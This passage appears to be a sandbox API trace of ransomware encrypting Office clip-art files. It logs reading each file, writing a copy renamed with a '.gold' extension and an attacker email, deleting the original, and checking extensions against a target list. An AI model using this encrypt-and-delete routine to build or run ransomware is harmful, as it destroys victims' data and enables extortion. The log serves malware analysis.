lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.051] SetEndOfFile (hFile=0x188) returned 1 [0051.051] CloseHandle (hObject=0x188) returned 1 [0051.052] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.052] SetEndOfFile (hFile=0x214) returned 1 [0051.052] CloseHandle (hObject=0x214) returned 1 [0051.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString=".doc") returned 4 [0051.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString=".docx") returned 5 [0051.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.053] lstrlenW (lpString=".pdf") returned 4 [0051.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString=".xls") returned 4 [0051.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.053] lstrlenW (lpString=".xlsx") returned 5 [0051.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.053] lstrlenW (lpString=".ppt") returned 4 [0051.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString=".zip") returned 4 [0051.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.053] lstrlenW (lpString=".rar") returned 4 [0051.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString=".bz2") returned 4 [0051.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString=".7z") returned 3 [0051.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString=".dbf") returned 4 [0051.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString=".1cd") returned 4 [0051.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString=".jpg") returned 4 [0051.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.053] lstrlenW (lpString=".doc") returned 4 [0051.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString=".docx") returned 5 [0051.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.053] lstrlenW (lpString=".pdf") returned 4 [0051.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.053] lstrlenW (lpString=".xls") returned 4 [0051.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.053] lstrlenW (lpString=".xlsx") returned 5 [0051.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.054] lstrlenW (lpString=".ppt") returned 4 [0051.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.054] lstrlenW (lpString=".zip") returned 4 [0051.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.054] lstrlenW (lpString=".rar") returned 4 [0051.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.054] lstrlenW (lpString=".bz2") returned 4 [0051.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.054] lstrlenW (lpString=".7z") returned 3 [0051.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.054] lstrlenW (lpString=".dbf") returned 4 [0051.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.054] lstrlenW (lpString=".1cd") returned 4 [0051.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF") returned 63 [0051.054] lstrlenW (lpString=".jpg") returned 4 [0051.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.054] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.054] lstrlenW (lpString="BD06102_.WMF") returned 12 [0051.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.054] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=16112) returned 1 [0051.054] CloseHandle (hObject=0x214) returned 1 [0051.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0051.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.055] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.055] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.055] GetLastError () returned 0x0 [0051.055] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x3ef0, lpOverlapped=0x0) returned 1 [0051.056] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3f00, lpOverlapped=0x0) returned 1 [0051.057] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.057] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.057] SetEndOfFile (hFile=0x188) returned 1 [0051.057] CloseHandle (hObject=0x188) returned 1 [0051.057] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.057] SetEndOfFile (hFile=0x214) returned 1 [0051.058] CloseHandle (hObject=0x214) returned 1 [0051.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0051.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.058] lstrlenW (lpString=".doc") returned 4 [0051.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.058] lstrlenW (lpString=".docx") returned 5 [0051.058] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.058] lstrlenW (lpString=".pdf") returned 4 [0051.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.058] lstrlenW (lpString=".xls") returned 4 [0051.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.058] lstrlenW (lpString=".xlsx") returned 5 [0051.058] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.058] lstrlenW (lpString=".ppt") returned 4 [0051.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".zip") returned 4 [0051.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.059] lstrlenW (lpString=".rar") returned 4 [0051.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString=".bz2") returned 4 [0051.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString=".7z") returned 3 [0051.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".dbf") returned 4 [0051.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".1cd") returned 4 [0051.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".jpg") returned 4 [0051.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".doc") returned 4 [0051.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString=".docx") returned 5 [0051.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.059] lstrlenW (lpString=".pdf") returned 4 [0051.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString=".xls") returned 4 [0051.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.059] lstrlenW (lpString=".xlsx") returned 5 [0051.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.059] lstrlenW (lpString=".ppt") returned 4 [0051.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".zip") returned 4 [0051.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.059] lstrlenW (lpString=".rar") returned 4 [0051.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString=".bz2") returned 4 [0051.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString=".7z") returned 3 [0051.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".dbf") returned 4 [0051.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".1cd") returned 4 [0051.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 63 [0051.059] lstrlenW (lpString=".jpg") returned 4 [0051.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.059] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.060] lstrlenW (lpString="BD06200_.WMF") returned 12 [0051.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.060] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=16676) returned 1 [0051.060] CloseHandle (hObject=0x214) returned 1 [0051.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0051.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.061] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.061] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0051.061] GetLastError () returned 0x0 [0051.061] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4124, lpOverlapped=0x0) returned 1 [0051.062] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0051.063] ReadFile (in: hFile=0x214, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.063] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.063] SetEndOfFile (hFile=0x188) returned 1 [0051.063] CloseHandle (hObject=0x188) returned 1 [0051.063] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.064] SetEndOfFile (hFile=0x214) returned 1 [0051.064] CloseHandle (hObject=0x214) returned 1 [0051.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0051.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.065] lstrlenW (lpString=".doc") returned 4 [0051.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.065] lstrlenW (lpString=".docx") returned 5 [0051.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.065] lstrlenW (lpString=".pdf") returned 4 [0051.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.065] lstrlenW (lpString=".xls") returned 4 [0051.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.065] lstrlenW (lpString=".xlsx") returned 5 [0051.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.065] lstrlenW (lpString=".ppt") returned 4 [0051.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.065] lstrlenW (lpString=".zip") returned 4 [0051.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.065] lstrlenW (lpString=".rar") returned 4 [0051.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.065] lstrlenW (lpString=".bz2") returned 4 [0051.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.065] lstrlenW (lpString=".7z") returned 3 [0051.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.224] lstrlenW (lpString=".dbf") returned 4 [0051.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.224] lstrlenW (lpString=".1cd") returned 4 [0051.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.224] lstrlenW (lpString=".jpg") returned 4 [0051.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.237] lstrlenW (lpString=".doc") returned 4 [0051.243] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.243] lstrlenW (lpString=".docx") returned 5 [0051.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.243] lstrlenW (lpString=".pdf") returned 4 [0051.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.243] lstrlenW (lpString=".xls") returned 4 [0051.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.243] lstrlenW (lpString=".xlsx") returned 5 [0051.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.243] lstrlenW (lpString=".ppt") returned 4 [0051.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.255] lstrlenW (lpString=".zip") returned 4 [0051.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.255] lstrlenW (lpString=".rar") returned 4 [0051.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.255] lstrlenW (lpString=".bz2") returned 4 [0051.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.261] lstrlenW (lpString=".7z") returned 3 [0051.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.261] lstrlenW (lpString=".dbf") returned 4 [0051.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.261] lstrlenW (lpString=".1cd") returned 4 [0051.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0051.261] lstrlenW (lpString=".jpg") returned 4 [0051.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.261] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.261] lstrlenW (lpString="BD19827_.WMF") returned 12 [0051.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.262] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=9710) returned 1 [0051.262] CloseHandle (hObject=0x190) returned 1 [0051.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0051.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.263] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.263] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.263] GetLastError () returned 0x0 [0051.263] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0051.264] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0051.265] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.265] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.265] SetEndOfFile (hFile=0x218) returned 1 [0051.265] CloseHandle (hObject=0x218) returned 1 [0051.265] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.265] SetEndOfFile (hFile=0x190) returned 1 [0051.266] CloseHandle (hObject=0x190) returned 1 [0051.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0051.266] lstrlenW (lpString="C:\\Program 